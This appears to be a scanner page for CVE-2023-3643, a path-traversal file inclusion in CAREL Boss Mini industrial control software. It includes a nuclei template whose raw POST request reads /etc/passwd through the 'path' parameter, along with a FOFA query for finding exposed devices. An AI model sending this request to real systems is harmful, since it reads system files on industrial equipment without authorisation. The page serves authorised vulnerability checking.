CAREL Boss Mini <= 1.4.0 - Local File Inclusion

criticalseverity

9.8CVSS score

75.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Boss Mini 1.4.0 Build 6221 contains a file inclusion caused by manipulation of the 'path' argument in boss/servlet/document, letting remote attackers include arbitrary files, exploit requires remote access.

Impact

Remote attackers can include arbitrary files, potentially leading to remote code execution or full system compromise.

Fix

Update to the latest version of Boss Mini or apply security patches provided by the vendor.

How to confirm it

Send: POST /boss/servlet/document
Positive when: regex('root:.*:0:0:', body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-3643 -u <target>

The full check

id: CVE-2023-3643

info:
  name: CAREL Boss Mini <= 1.4.0 - Local File Inclusion
  author: Kazgangap
  severity: critical
  description: |
    Boss Mini 1.4.0 Build 6221 contains a file inclusion caused by manipulation of the 'path' argument in boss/servlet/document, letting remote attackers include arbitrary files, exploit requires remote access.
  impact: |
    Remote attackers can include arbitrary files, potentially leading to remote code execution or full system compromise.
  remediation: |
    Update to the latest version of Boss Mini or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3643
    - https://www.cisa.gov/news-events/ics-advisories/icsa-24-172-02
    - https://vuldb.com/?id.233889
    - https://www.exploit-db.com/exploits/52482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3643
    epss-score: 0.75363
    epss-percentile: 0.99519
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: carel
    product: boss-mini
    fofa-query: icon_hash=="1092427843"
  tags: cve,cve2023,lfi,carel,boss-mini,ics,path-traversal,file-inclusion

http:
  - raw:
      - |
        POST /boss/servlet/document HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: https://{{RootURL}}/boss/app/report/popup.html?/etc/passwd

        path=/etc/passwd

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from